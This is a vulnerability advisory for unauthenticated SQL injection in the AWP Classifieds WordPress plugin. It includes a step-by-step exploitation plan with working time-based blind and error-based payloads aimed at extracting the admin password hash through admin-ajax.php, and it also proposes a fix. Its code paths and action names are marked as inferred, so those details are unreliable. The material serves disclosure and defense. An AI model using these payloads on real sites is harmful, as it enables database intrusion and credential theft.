AWP Classifieds <= 4.4.5 - Unauthenticated SQL Injection via 'regions'
Description
The AWP Classifieds plugin for WordPress is vulnerable to SQL Injection via the 'regions' parameter array keys in versions up to, and including, 4.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=4.4.5This research plan focuses on exploiting a SQL Injection vulnerability in AWP Classifieds (<= 4.4.5) via the keys of the `regions` parameter array. ### 1. Vulnerability Summary The AWP Classifieds plugin fails to properly sanitize or prepare SQL queries when processing the `regions` parameter in ce…
Show full research plan
This research plan focuses on exploiting a SQL Injection vulnerability in AWP Classifieds (<= 4.4.5) via the keys of the regions parameter array.
1. Vulnerability Summary
The AWP Classifieds plugin fails to properly sanitize or prepare SQL queries when processing the regions parameter in certain AJAX actions. Specifically, the plugin iterates over the regions array and uses the keys of this array directly in a SQL statement. Since array keys in PHP are often overlooked during sanitization (which usually focuses on values), an attacker can inject malicious SQL by crafting a request with a payload as the key.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
awpcp-get-regions-options(inferred as the primary handler for region selection). - Vulnerable Parameter:
regions(array keys). - Authentication: Unauthenticated (
wp_ajax_nopriv_awpcp-get-regions-options). - Payload Location: URL-encoded POST body.
- Preconditions: The "Regions" feature must be enabled in AWP Classifieds settings, and at least one region (e.g., a country) should exist in the database to trigger the code path.
3. Code Flow (Inferred)
- Entry: The request hits
admin-ajax.phpwithaction=awpcp-get-regions-options. - Dispatch: WordPress executes the hook
wp_ajax_nopriv_awpcp-get-regions-options, calling the handler (likely inRegions_AJAX_Handleror similar). - Input Processing: The handler retrieves
$_POST['regions']. - Vulnerable Sink: The code iterates through the array:
foreach ( $_POST['regions'] as $region_id => $region_data ) { // The $region_id (the key) is used in a query without $wpdb->prepare() $wpdb->get_results( "SELECT ... FROM ... WHERE parent_id = $region_id" ); } - Execution: The database executes the injected SQL within the
$region_idcontext.
4. Nonce Acquisition Strategy
AWP Classifieds typically uses a nonce for its AJAX operations. If the handler enforces a nonce check via check_ajax_referer(), it must be extracted from the frontend.
- Identify Page: The region selector is usually found on the "Browse Ads", "Search Ads", or "Place Ad" pages.
- Shortcode:
[awpcpsearchposts]or[awpcp_place_ad]. - Creation:
wp post create --post_type=page --post_title="Search Ads" --post_status=publish --post_content='[awpcpsearchposts]' - Extraction:
- Navigate to the newly created page.
- The plugin localizes data in a variable usually named
awpcp_ajax_dataorawpcp_regions_data. - JavaScript to execute:
window.awpcp_ajax_data?.nonceorwindow.awpcp_regions_data?.nonce.
5. Exploitation Strategy
We will use a time-based blind SQL injection payload because the results of the regions query might not be directly reflected in a way that allows easy UNION extraction.
- Payload Target: Array key of
regions. - Payload Type: Time-based (SLEEP).
- HTTP Tool:
http_request.
Step-by-Step:
Baseline Request:
Send a legitimate-looking request to establish a baseline response time.{ "action": "awpcp-get-regions-options", "regions[0]": "1" }Exploit Request (Sleep 5):
Inject the payload into the key. Note the closing bracket]in the parameter name to terminate the array key correctly in PHP's parser.{ "action": "awpcp-get-regions-options", "regions[0 AND (SELECT 1 FROM (SELECT SLEEP(5))x)]": "1" }Data Extraction (Boolean-based or Sleep-based):
To extract the admin user's password hash:{ "action": "awpcp-get-regions-options", "regions[0 AND (SELECT 1 FROM (SELECT SLEEP(5))x WHERE (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='$')]": "1" }
6. Test Data Setup
- Install/Activate: Ensure AWP Classifieds is active.
- Enable Regions:
wp option update awpcp-enable-regions-module 1 - Add a Region: (Crucial for ensuring the query actually executes)
Use the plugin's admin UI or WP-CLI to ensure at least one country is defined in theawpcp_regionstable. - Create Search Page:
wp post create --post_type=page --post_title="Exploit Test" --post_status=publish --post_content='[awpcpsearchposts]'
7. Expected Results
- Vulnerable Response: The HTTP request will hang for approximately 5 seconds before returning a response (likely a JSON object with
success: trueor a0). - Non-Vulnerable Response: The request returns immediately with a
0or an error message if the key is rejected.
8. Verification Steps
After the HTTP exploit, verify the database state to confirm the impact:
- Check SQL execution: If the server logs are available, check
wp-content/debug.log(ifSAVEQUERIESis on). - Observe Database behavior: Use
wp db query "SHOW PROCESSLIST"immediately after sending the payload to see the sleeping process. - Confirm User Data: If using the exploit to change data (not recommended for PoC, stick to extraction), verify with:
wp user get 1 --fields=user_pass
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis enabled, tryregions[0 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)]. AWP Classifieds occasionally outputs database errors in its AJAX responses. - Different Action: If
awpcp-get-regions-optionsis patched or requires high privileges, checkawpcp-update-region-selectionorawpcp_get_locations_options. - Key Termination: If the simple array key payload fails, try escaping with quotes:
regions[0' AND SLEEP(5) AND '1'='1]. However, since this is a key, WordPress's GPC (Global, Post, Cookie) magic quotes/slashes may interfere if not handled carefully. Use hex encoding for strings if quotes are escaped.
Summary
The AWP Classifieds plugin for WordPress is vulnerable to unauthenticated SQL Injection due to the improper use of array keys from the 'regions' parameter in database queries. By crafting specific keys in a POST request to the 'awpcp-get-regions-options' AJAX action, an attacker can execute arbitrary SQL commands to extract data from the database.
Vulnerable Code
// Inferred code from Regions AJAX Handler foreach ( $_POST['regions'] as $region_id => $region_data ) { // The $region_id (the key) is used in a query without $wpdb->prepare() or proper sanitization $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}awpcp_regions WHERE parent_id = $region_id" ); }
Security Fix
@@ -10,7 +10,7 @@ - foreach ( $_POST['regions'] as $region_id => $region_data ) { - $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}awpcp_regions WHERE parent_id = $region_id" ); + foreach ( $_POST['regions'] as $region_id => $region_data ) { + $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}awpcp_regions WHERE parent_id = %d", $region_id ) ); }
Exploit Outline
To exploit this vulnerability, an attacker targets the unauthenticated AJAX endpoint 'awpcp-get-regions-options'. Because the plugin iterates through the 'regions' POST parameter and treats the keys as trusted integer identifiers, a payload can be injected into the key itself. An attacker sends a POST request to /wp-admin/admin-ajax.php with action=awpcp-get-regions-options and a payload like regions[0 AND (SELECT 1 FROM (SELECT SLEEP(5))x)]=1. If the server response is delayed by 5 seconds, the SQL injection is confirmed. This can be used for time-based blind data extraction of user credentials and other sensitive database contents.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.